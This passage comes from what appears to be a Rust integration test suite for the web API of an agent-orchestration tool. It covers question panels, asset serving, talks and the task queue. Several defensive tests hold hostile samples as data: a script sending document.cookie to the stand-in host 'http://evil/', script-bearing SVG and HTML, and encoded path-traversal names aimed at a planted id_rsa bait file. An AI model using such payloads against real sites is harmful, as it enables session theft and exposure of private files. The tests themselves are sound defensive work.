4644 "{path}: the preflight carries the same type"
4645 );
4646 }
4647 }
4648
4649 #[tokio::test]
4650 async fn a_panel_reaches_the_browser_byte_for_byte() {
4651 let fx = Fixture::start().await;
4652 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
4657 let id = panel(&fx, html, &[]);
4658
4659 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4660
4661 assert_eq!(res.status, 200);
4662 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4663 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4664 assert_eq!(
4665 res.header("content-disposition"),
4666 None,
4667 "the panel itself is rendered in the frame, not downloaded"
4668 );
4669 }
4670
4671 #[tokio::test]
4672 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4673 let fx = Fixture::start().await;
4674 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4675 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4676 let id = panel(
4677 &fx,
4678 "<img src=\"diff.svg\"><img src=\"shot.png\">",
4679 &[("diff.svg", svg), ("shot.png", png)],
4680 );
4681
4682 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4683 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4684
4685 assert_eq!(as_svg.status, 200);
4686 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4687 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4692
4693 assert_eq!(as_png.status, 200);
4694 assert_eq!(as_png.header("content-type"), Some("image/png"));
4695 assert_eq!(
4696 as_png.header("content-disposition"),
4697 None,
4698 "a raster image has no execution surface, so tapping it still shows it"
4699 );
4700 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4701 }
4702
4703 #[tokio::test]
4704 async fn an_html_asset_is_never_served_as_html() {
4705 let fx = Fixture::start().await;
4706 let id = panel(
4707 &fx,
4708 "<p>see the notes</p>",
4709 &[
4710 (
4711 "notes.html",
4712 b"<script>fetch('http://evil/'+document.cookie)</script>",
4713 ),
4714 ("hook.js", b"fetch('http://evil/')"),
4715 ("data.json", b"{}"),
4716 ("HEADLINE.TXT", b"plain"),
4717 ],
4718 );
4719
4720 for name in ["notes.html", "hook.js", "data.json"] {
4721 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4722 assert_eq!(res.status, 200, "{name}: {}", res.body);
4723 assert_eq!(
4728 res.header("content-type"),
4729 Some("application/octet-stream"),
4730 "{name} must not be a type the browser will execute or render"
4731 );
4732 }
4733 let txt = fx
4736 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4737 .await;
4738 assert_eq!(
4739 txt.header("content-type"),
4740 Some("text/plain; charset=utf-8")
4741 );
4742 }
4743
4744 #[tokio::test]
4745 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4746 let fx = Fixture::start().await;
4747 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4748 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4752
4753 for encoded in [
4760 "%2e%2e%2fid_rsa",
4761 "..%2fid_rsa",
4762 "..%5cid_rsa",
4763 "%2e%2e%5cid_rsa",
4764 "diff%00.svg",
4765 "..",
4766 ".hidden",
4767 "%2e%2e%2f%2e%2e%2fid_rsa",
4768 ] {
4769 let res = fx
4770 .get(&format!("/api/questions/{id}/asset/{encoded}"))
4771 .await;
4772 assert_eq!(
4773 res.status, 400,
4774 "`{encoded}` has to be refused by name, not looked up: {}",
4775 res.body
4776 );
4777 assert!(res.json()["error"].is_string(), "{}", res.body);
4778 }
4779
4780 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4786 let res = fx
4787 .get(&format!("/api/questions/{id}/asset/{literal}"))
4788 .await;
4789 assert_eq!(
4790 res.status, 404,
4791 "`{literal}` must not match the asset route at all: {}",
4792 res.body
4793 );
4794 }
4795 }
4796
4797 #[tokio::test]
4798 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4799 let fx = Fixture::start().await;
4800 let plain = ask(&fx, "Which backend?", &["SQLite"]);
4801 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4802
4803 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4807 assert_eq!(none.status, 404, "{}", none.body);
4808 assert!(none.json()["error"].is_string(), "{}", none.body);
4809 assert_eq!(
4810 fx.head(&format!("/api/questions/{plain}/panel"))
4811 .await
4812 .status,
4813 404,
4814 "the preflight is the only way the client can learn this"
4815 );
4816
4817 let missing = fx
4819 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4820 .await;
4821 assert_eq!(missing.status, 404, "{}", missing.body);
4822 assert!(missing.json()["error"].is_string(), "{}", missing.body);
4823
4824 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4826 assert_eq!(
4827 fx.get("/api/questions/nope/asset/diff.svg").await.status,
4828 404
4829 );
4830 }
4831
4832 #[tokio::test]
4833 async fn a_run_with_an_open_question_reads_as_waiting() {
4834 let fx = Fixture::start().await;
4835 let run = "20260902-000000-beef".to_owned();
4836 write_run(&fx.runs(), &run, RunStatus::Implementing);
4837
4838 let before = fx.get("/api/runs").await.json();
4839 assert_eq!(before[0]["waiting"], false, "{before}");
4840
4841 let store = fx.questions();
4842 let mut q = Question::new(
4843 run.clone(),
4844 "implement".to_owned(),
4845 "impl-A".to_owned(),
4846 "Which backend?".to_owned(),
4847 String::new(),
4848 vec!["SQLite".to_owned()],
4849 );
4850 store.put(&mut q).expect("put");
4851
4852 let during = fx.get("/api/runs").await.json();
4853 assert_eq!(during[0]["waiting"], true, "{during}");
4854
4855 q.answer(Answer::Choice("SQLite".to_owned()))
4858 .expect("answer");
4859 store.put(&mut q).expect("put");
4860 let after = fx.get("/api/runs").await.json();
4861 assert_eq!(after[0]["waiting"], false, "{after}");
4862 }
4863
4864 #[tokio::test]
4865 async fn an_open_question_is_listed_and_counted_by_health() {
4866 let fx = Fixture::start().await;
4867 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4868
4869 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4870 let listed = fx.get("/api/questions").await.json();
4871 assert_eq!(listed.as_array().expect("array").len(), 1);
4872 assert_eq!(listed[0]["id"], id);
4873 assert_eq!(listed[0]["status"], "open");
4874 assert_eq!(listed[0]["choices"][1], "Redis");
4875 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4878 }
4879
4880 #[tokio::test]
4881 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4882 let fx = Fixture::start().await;
4883 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4884 let path = format!("/api/questions/{id}/answer");
4885
4886 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4887 assert_eq!(res.status, 200, "{}", res.body);
4888 let body = res.json();
4889 assert_eq!(body["status"], "answered");
4890 assert_eq!(body["answer"]["choice"], "Redis");
4891
4892 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4896 assert_eq!(again.status, 409, "{}", again.body);
4897 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4898 }
4899
4900 #[tokio::test]
4901 async fn saying_something_appends_a_turn_without_answering() {
4902 let fx = Fixture::start().await;
4903 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4904 let path = format!("/api/questions/{id}/say");
4905
4906 let res = fx
4907 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
4908 .await;
4909 assert_eq!(res.status, 200, "{}", res.body);
4910 let body = res.json();
4911 assert_eq!(body["status"], "open", "talking back is not a decision");
4912 assert_eq!(body["answer"], Value::Null);
4913 assert_eq!(body["thread"][0]["who"], "operator");
4914 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
4915 assert_eq!(body["waiting_on_agent"], true);
4916 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4918 }
4919
4920 #[tokio::test]
4921 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
4922 let fx = Fixture::start().await;
4923 let store = fx.questions();
4924 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4925 assert_eq!(
4926 fx.get("/api/health").await.json()["questions_needs_owner"],
4927 1
4928 );
4929
4930 let res = fx
4936 .post(
4937 &format!("/api/questions/{id}/say"),
4938 Some(r#"{"body":"why not Postgres?"}"#),
4939 )
4940 .await;
4941 assert_eq!(res.status, 200, "{}", res.body);
4942 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4943 assert_eq!(
4944 fx.get("/api/health").await.json()["questions_needs_owner"],
4945 0,
4946 "waiting on the agent is not waiting on the owner"
4947 );
4948
4949 let mut q = store.get(&id).expect("get");
4953 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
4954 .expect("reply");
4955 store.put(&mut q).expect("put");
4956 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4957 assert_eq!(
4958 fx.get("/api/health").await.json()["questions_needs_owner"],
4959 1,
4960 "the agent's reply is what should light the banner back up"
4961 );
4962 }
4963
4964 #[tokio::test]
4965 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
4966 let fx = Fixture::start().await;
4967 let store = fx.questions();
4968
4969 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4970 let res = fx
4971 .post(
4972 &format!("/api/questions/{empty_id}/say"),
4973 Some(r#"{"body":" "}"#),
4974 )
4975 .await;
4976 assert_eq!(res.status, 400, "{}", res.body);
4977
4978 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4979 let mut answered = store.get(&answered_id).expect("get");
4980 answered
4981 .answer(Answer::Choice("SQLite".to_owned()))
4982 .expect("answer");
4983 store.put(&mut answered).expect("put");
4984 let res = fx
4985 .post(
4986 &format!("/api/questions/{answered_id}/say"),
4987 Some(r#"{"body":"still there?"}"#),
4988 )
4989 .await;
4990 assert_eq!(res.status, 409, "{}", res.body);
4991
4992 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4993 let mut abandoned = store.get(&abandoned_id).expect("get");
4994 abandoned.abandon("timed out");
4995 store.put(&mut abandoned).expect("put");
4996 let res = fx
4997 .post(
4998 &format!("/api/questions/{abandoned_id}/say"),
4999 Some(r#"{"body":"still there?"}"#),
5000 )
5001 .await;
5002 assert_eq!(res.status, 409, "{}", res.body);
5003 }
5004
5005 #[tokio::test]
5006 async fn an_answer_the_question_does_not_offer_is_refused() {
5007 let fx = Fixture::start().await;
5008 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5009 let path = format!("/api/questions/{id}/answer");
5010
5011 for body in [
5012 r#"{"choice":"Postgres"}"#,
5013 r#"{"text":"whatever you think"}"#,
5014 r#"{"choice":"Redis","text":"both"}"#,
5015 r#"{}"#,
5016 ] {
5017 let res = fx.post(&path, Some(body)).await;
5018 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5019 assert!(res.json()["error"].is_string(), "{}", res.body);
5020 }
5021 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5023 }
5024
5025 #[tokio::test]
5026 async fn a_free_text_question_takes_text_and_not_a_choice() {
5027 let fx = Fixture::start().await;
5028 let id = ask(&fx, "What should the flag be called?", &[]);
5029 let path = format!("/api/questions/{id}/answer");
5030
5031 assert_eq!(
5032 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5033 400
5034 );
5035 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5036 assert_eq!(res.status, 200, "{}", res.body);
5037 assert_eq!(res.json()["answer"]["text"], "--json");
5038 }
5039
5040 #[tokio::test]
5041 async fn an_unknown_question_is_a_json_404() {
5042 let fx = Fixture::start().await;
5043 let res = fx
5044 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5045 .await;
5046 assert_eq!(res.status, 404, "{}", res.body);
5047 assert!(res.json()["error"].is_string());
5048 }
5049
5050 #[tokio::test]
5057 async fn a_task_cannot_be_filed_over_the_phone_directly() {
5058 let f = Fixture::start().await;
5059
5060 let res = f
5061 .post(
5062 "/api/queue",
5063 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5064 )
5065 .await;
5066
5067 assert_eq!(
5068 res.status, 405,
5069 "POST /api/queue must not be a route: {}",
5070 res.body
5071 );
5072 assert!(
5073 f.queue().list().is_empty(),
5074 "a task filed by a route that does not exist must not reach the disk"
5075 );
5076 assert_eq!(f.get("/api/queue").await.status, 200);
5079 }
5080
5081 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5083 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5084 .expect("checkout dir");
5085 }
5086
5087 #[tokio::test]
5088 async fn repos_list_returns_name_and_path_for_every_configured_root() {
5089 let tmp = TempDir::new().expect("tempdir");
5090 let repo = tmp.path().join("repo");
5091 std::fs::create_dir_all(&repo).expect("repo dir");
5092 let root = tmp.path().join("root");
5093 make_checkout(&root, "github.com", "yukimemi", "magi");
5094 std::fs::write(
5095 repo.join("magi.toml"),
5096 format!(
5097 "[repos]\nroots = [{:?}]\n",
5098 root.to_string_lossy().into_owned()
5099 ),
5100 )
5101 .expect("write magi.toml");
5102
5103 let f = Fixture::with_repo(repo).await;
5104 let res = f.get("/api/repos").await;
5105 assert_eq!(res.status, 200, "{}", res.body);
5106 let list = res.json();
5107 let repos = list.as_array().expect("an array");
5108 assert_eq!(repos.len(), 1);
5109 assert_eq!(repos[0]["name"], "yukimemi/magi");
5110 assert!(
5111 repos[0]["path"]
5112 .as_str()
5113 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5114 "{list}"
5115 );
5116 }
5117
5118 #[tokio::test]
5119 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5120 let tmp = TempDir::new().expect("tempdir");
5121 let repo = tmp.path().join("repo");
5122 std::fs::create_dir_all(&repo).expect("repo dir");
5123 let root = tmp.path().join("root");
5124 make_checkout(&root, "github.com", "yukimemi", "magi");
5125 std::fs::write(
5126 repo.join("magi.toml"),
5127 format!(
5128 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5129 root.to_string_lossy().into_owned()
5130 ),
5131 )
5132 .expect("write magi.toml");
5133
5134 let f = Fixture::with_repo(repo).await;
5135 let first = f.get("/api/repos").await;
5136 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5137
5138 make_checkout(&root, "github.com", "yukimemi", "rvpm");
5141 let second = f.get("/api/repos").await;
5142 assert_eq!(
5143 second.json().as_array().map(Vec::len),
5144 Some(1),
5145 "a fresh cache must not rescan inside the TTL"
5146 );
5147
5148 let refreshed = f.get("/api/repos?refresh=1").await;
5149 assert_eq!(
5150 refreshed.json().as_array().map(Vec::len),
5151 Some(2),
5152 "an explicit refresh must rescan even inside the TTL"
5153 );
5154 }
5155
5156 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5162
5163 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5167 let tmp = TempDir::new().expect("tempdir");
5168 let repo = tmp.path().join("repo");
5169 std::fs::create_dir_all(&repo).expect("repo dir");
5170 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5171 let f = Fixture::with_repo(repo.clone()).await;
5172 (tmp, repo, f)
5173 }
5174
5175 #[tokio::test]
5176 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5177 let (_tmp, _repo, f) = talk_fixture().await;
5178
5179 let opened = f.post("/api/talks", None).await;
5182 assert_eq!(opened.status, 201, "{}", opened.body);
5183 let body = opened.json();
5184 assert_eq!(body["status"], "open");
5185 assert_eq!(
5186 body["turns"].as_array().unwrap().len(),
5187 0,
5188 "opening takes no agent turn: there is nothing yet to answer"
5189 );
5190
5191 let also_opened = f.post("/api/talks", Some("{}")).await;
5193 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5194
5195 let listed = f.get("/api/talks").await.json();
5196 assert_eq!(listed.as_array().unwrap().len(), 2);
5197 }
5198
5199 #[tokio::test]
5200 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5201 let f = Fixture::start().await;
5202 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5203 let queue = f.queue();
5204 let mut mine = Task::new(
5205 "rename the loader".to_owned(),
5206 "rename the loader".to_owned(),
5207 PathBuf::from("/repo/magi"),
5208 Source::Agent {
5209 run: talk_id.clone(),
5210 node: "chat".to_owned(),
5211 },
5212 );
5213 queue.put(&mut mine).expect("file the task");
5214 let mut theirs = Task::new(
5215 "unrelated".to_owned(),
5216 "unrelated".to_owned(),
5217 PathBuf::from("/repo/magi"),
5218 Source::Human,
5219 );
5220 queue.put(&mut theirs).expect("file the task");
5221
5222 let res = f.get(&format!("/api/talks/{talk_id}")).await;
5223 assert_eq!(res.status, 200, "{}", res.body);
5224 let body = res.json();
5225 assert_eq!(
5226 body["status"], "open",
5227 "filing a task does not close a talk"
5228 );
5229 let tasks = body["tasks"].as_array().expect("tasks array");
5230 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5231 assert_eq!(tasks[0]["id"], mine.id);
5232 }
5233
5234 #[tokio::test]
5235 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5236 let (_tmp, _repo, f) = talk_fixture().await;
5237 let id = f.post("/api/talks", None).await.json()["id"]
5238 .as_str()
5239 .expect("id")
5240 .to_owned();
5241
5242 let res = f
5243 .post(
5244 &format!("/api/talks/{id}/say"),
5245 Some(r#"{"text":"what does the queue module do?"}"#),
5246 )
5247 .await;
5248 assert_eq!(res.status, 202, "{}", res.body);
5249 let queued = res.json();
5250 let turns = queued["turns"].as_array().expect("turns array");
5251 assert_eq!(
5252 turns.len(),
5253 1,
5254 "the answer reflects only what is on disk the instant it is sent, \
5255 before the agent's turn - which can run for the whole of \
5256 `[graph] timeout_talk` - has a chance to land: {queued}"
5257 );
5258 assert_eq!(turns[0]["who"], "operator");
5259 assert_eq!(turns[0]["body"], "what does the queue module do?");
5260 assert_eq!(
5261 queued["thinking"], true,
5262 "the accepted response exposes the background turn claim: {queued}"
5263 );
5264
5265 let mut turns_after = 1;
5266 for _ in 0..SETTLE_STEPS {
5267 let detail = f.get(&format!("/api/talks/{id}")).await.json();
5268 turns_after = detail["turns"].as_array().expect("turns array").len();
5269 if turns_after == 2 {
5270 break;
5271 }
5272 tokio::time::sleep(Duration::from_millis(10)).await;
5273 }
5274 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5275 }
5276
5277 #[tokio::test]
5304 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
5305 let tmp = TempDir::new().expect("tempdir");
5306 let repo = tmp.path().join("repo");
5307 std::fs::create_dir_all(&repo).expect("repo dir");
5308 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5309 let home = TempDir::new().expect("temp home");
5310 let talks = Talks::at(home.path().join("talks"));
5311 let ui = Arc::new(
5312 Ui::new(
5313 Queue::at(home.path().join("queue")),
5314 Questions::at(home.path().join("questions")),
5315 talks.clone(),
5316 home.path().join("runs"),
5317 home.path().to_path_buf(),
5318 repo.clone(),
5319 )
5320 .with_worktrees_root(home.path().join("wt")),
5321 );
5322 let cfg = config_for(&repo).await.expect("discover config");
5323
5324 for delay in 0..40u32 {
5325 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5326 let id = talk.id.clone();
5327
5328 let handler = tokio::spawn(talk_say(
5329 State(Arc::clone(&ui)),
5330 Path(id.clone()),
5331 Ok(Json(NewTalkTurn {
5332 text: "what does the queue module do?".to_owned(),
5333 attachments: Vec::new(),
5334 })),
5335 ));
5336 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
5337 handler.abort();
5338 let _ = handler.await;
5341
5342 let mut turns = 0;
5343 for _ in 0..SETTLE_STEPS {
5344 if let Ok(fresh) = talks.get(&id) {
5345 turns = fresh.turns.len();
5346 if turns != 1 {
5347 break;
5348 }
5349 }
5350 tokio::time::sleep(Duration::from_millis(10)).await;
5351 }
5352 assert_ne!(
5353 turns, 1,
5354 "delay {delay}: talk {id} recorded the operator's turn but \
5355 the agent never answered - the reply task was never \
5356 started after the handler future was dropped"
5357 );
5358 }
5359 }
5360
5361 #[tokio::test]
5383 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
5384 async fn drive<F: std::future::Future>(
5389 fut: &mut std::pin::Pin<Box<F>>,
5390 max_polls: usize,
5391 ) -> bool {
5392 if max_polls == 0 {
5393 return false;
5394 }
5395 let mut polls = 0usize;
5396 let mut ready = false;
5397 std::future::poll_fn(|cx| {
5398 polls += 1;
5399 match fut.as_mut().poll(cx) {
5400 std::task::Poll::Ready(_) => {
5401 ready = true;
5402 std::task::Poll::Ready(())
5403 }
5404 std::task::Poll::Pending if polls >= max_polls => std::task::Poll::Ready(()),
5405 std::task::Poll::Pending => std::task::Poll::Pending,
5406 }
5407 })
5408 .await;
5409 ready
5410 }
5411
5412 let tmp = TempDir::new().expect("tempdir");
5413 let repo = tmp.path().join("repo");
5414 std::fs::create_dir_all(&repo).expect("repo dir");
5415 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5416 let home = TempDir::new().expect("temp home");
5417 let talks = Talks::at(home.path().join("talks"));
5418 let ui = Arc::new(
5419 Ui::new(
5420 Queue::at(home.path().join("queue")),
5421 Questions::at(home.path().join("questions")),
5422 talks.clone(),
5423 home.path().join("runs"),
5424 home.path().to_path_buf(),
5425 repo.clone(),
5426 )
5427 .with_worktrees_root(home.path().join("wt")),
5428 );
5429 let cfg = config_for(&repo).await.expect("discover config");
5430
5431 for polls_after_release in 1..=3usize {
5432 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5433 let id = talk.id.clone();
5434 let turn_guard = ui
5437 .begin_talk_turn(&id)
5438 .expect("claim the turn")
5439 .expect("a fresh talk owes nobody a turn");
5440
5441 let mut handler = Box::pin(talk_say(
5442 State(Arc::clone(&ui)),
5443 Path(id.clone()),
5444 Ok(Json(NewTalkTurn {
5445 text: "what does the queue module do?".to_owned(),
5446 attachments: Vec::new(),
5447 })),
5448 ));
5449 let done = drive(&mut handler, 4).await;
5459 tokio::time::sleep(Duration::from_millis(50)).await;
5460 let running = talks.get(&id).expect("reload talk");
5466 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
5467 if !done {
5470 drive(&mut handler, polls_after_release).await;
5471 }
5472 drop(handler);
5473
5474 let mut fresh = talks.get(&id).expect("reload talk");
5480 for _ in 0..SETTLE_STEPS {
5481 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
5482 break;
5483 }
5484 tokio::time::sleep(Duration::from_millis(10)).await;
5485 fresh = talks.get(&id).expect("reload talk");
5486 }
5487 assert!(
5488 fresh.pending.is_empty() && fresh.turns.len() == 2,
5489 "polls {polls_after_release}: talk {id} left the operator's \
5490 text queued with no drainer - the reclaimed turn was dropped \
5491 along with the handler future (pending {:?}, {} turns)",
5492 fresh.pending,
5493 fresh.turns.len()
5494 );
5495 }
5496 }
5497
5498 #[tokio::test]
5499 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
5500 let (_tmp, _repo, f) = talk_fixture().await;
5501 let id = f.post("/api/talks", None).await.json()["id"]
5502 .as_str()
5503 .expect("id")
5504 .to_owned();
5505 let store = f.talks();
5506 let mut recovered = store.get(&id).expect("opened talk");
5507 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5508 .expect("persist pending draft without a live turn");
5509
5510 let edited = f
5511 .post(
5512 &format!("/api/talks/{id}/pending/edit"),
5513 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
5514 )
5515 .await;
5516 assert_eq!(edited.status, 200, "{}", edited.body);
5517 assert!(edited.json()["thinking"].as_bool().unwrap());
5518
5519 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
5520 for _ in 0..SETTLE_STEPS {
5521 if detail["turns"].as_array().expect("turns").len() == 2 {
5522 break;
5523 }
5524 tokio::time::sleep(Duration::from_millis(10)).await;
5525 detail = f.get(&format!("/api/talks/{id}")).await.json();
5526 }
5527 let turns = detail["turns"].as_array().expect("turns");
5528 assert_eq!(
5529 turns.len(),
5530 2,
5531 "the recovered draft must run once: {detail}"
5532 );
5533 assert_eq!(turns[0]["body"], "corrected");
5534 assert_eq!(detail["pending"], "");
5535 }
5536
5537 #[tokio::test]
5538 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
5539 let tmp = TempDir::new().expect("tempdir");
5540 let repo = tmp.path().join("repo");
5541 std::fs::create_dir_all(&repo).expect("repo dir");
5542 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5543 let f = Fixture::with_repo(repo).await;
5544 let id = f.post("/api/talks", None).await.json()["id"]
5545 .as_str()
5546 .expect("id")
5547 .to_owned();
5548 let store = f.talks();
5549 let mut recovered = store.get(&id).expect("opened talk");
5550 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5551 .expect("persist pending draft without a live turn");
5552
5553 let refused = f
5554 .post(
5555 &format!("/api/talks/{id}/say"),
5556 Some(r#"{"text":"new message"}"#),
5557 )
5558 .await;
5559 assert_eq!(refused.status, 409, "{}", refused.body);
5560 assert!(refused.body.contains("resume"), "{}", refused.body);
5561 let saved = store.get(&id).expect("draft remains after refusal");
5562 assert!(saved.turns.is_empty());
5563 assert_eq!(saved.pending, "saved before restart");
5564
5565 let say_path = format!("/api/talks/{id}/say");
5566 let (first, second) = tokio::join!(
5567 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
5568 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
5569 );
5570 assert_eq!(first.status, 409, "{}", first.body);
5571 assert_eq!(second.status, 409, "{}", second.body);
5572 let saved = store
5573 .get(&id)
5574 .expect("draft remains after concurrent refusals");
5575 assert!(saved.turns.is_empty());
5576 assert_eq!(saved.pending, "saved before restart");
5577
5578 let resumed = f
5579 .post(&format!("/api/talks/{id}/pending/resume"), None)
5580 .await;
5581 assert_eq!(resumed.status, 202, "{}", resumed.body);
5582 let duplicate = f
5583 .post(&format!("/api/talks/{id}/pending/resume"), None)
5584 .await;
5585 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
5586
5587 for _ in 0..SETTLE_STEPS {
5588 if store.get(&id).expect("talk").turns.len() == 2 {
5589 break;
5590 }
5591 tokio::time::sleep(Duration::from_millis(10)).await;
5592 }
5593 let finished = store.get(&id).expect("finished talk");
5594 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5595 assert_eq!(finished.turns[0].body, "saved before restart");
5596 assert!(finished.pending.is_empty());
5597 }
5598
5599 #[tokio::test]
5600 async fn an_image_only_recovered_draft_resumes_without_text() {
5601 let (_tmp, _repo, f) = talk_fixture().await;
5602 let id = f.post("/api/talks", None).await.json()["id"]
5603 .as_str()
5604 .expect("id")
5605 .to_owned();
5606 let uploaded = f
5607 .post_bytes(
5608 &format!("/api/talks/{id}/attachments"),
5609 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
5610 PNG_BYTES,
5611 )
5612 .await;
5613 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5614 let attachment = f
5615 .talks()
5616 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
5617 .expect("attachment metadata")
5618 .expect("stored attachment");
5619 let store = f.talks();
5620 let mut recovered = store.get(&id).expect("opened talk");
5621 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
5622
5623 let resumed = f
5624 .post(&format!("/api/talks/{id}/pending/resume"), None)
5625 .await;
5626 assert_eq!(resumed.status, 202, "{}", resumed.body);
5627 for _ in 0..SETTLE_STEPS {
5628 if store.get(&id).expect("talk").turns.len() == 2 {
5629 break;
5630 }
5631 tokio::time::sleep(Duration::from_millis(10)).await;
5632 }
5633 let finished = store.get(&id).expect("finished talk");
5634 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5635 assert!(finished.turns[0].body.is_empty());
5636 assert_eq!(finished.turns[0].attachments.len(), 1);
5637 assert!(finished.pending_attachments.is_empty());
5638 }
5639
5640 #[tokio::test]
5641 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
5642 let (_tmp, _repo, f) = talk_fixture().await;
5643 let id = f.post("/api/talks", None).await.json()["id"]
5644 .as_str()
5645 .expect("id")
5646 .to_owned();
5647 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5648 assert_eq!(closed.status, 200, "{}", closed.body);
5649 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5650 .expect("serialize closed talk");
5651 for (path, body) in [
5652 (format!("/api/talks/{id}/pending/resume"), None),
5653 (
5654 format!("/api/talks/{id}/pending/clear"),
5655 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
5656 ),
5657 (
5658 format!("/api/talks/{id}/pending/edit"),
5659 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
5660 ),
5661 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
5662 ] {
5663 let response = f.post(&path, body).await;
5664 assert_eq!(response.status, 409, "{}", response.body);
5665 }
5666 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5667 .expect("serialize closed talk");
5668 assert_eq!(
5669 after_clear, before_clear,
5670 "clear must not rewrite a closed talk"
5671 );
5672 }
5673
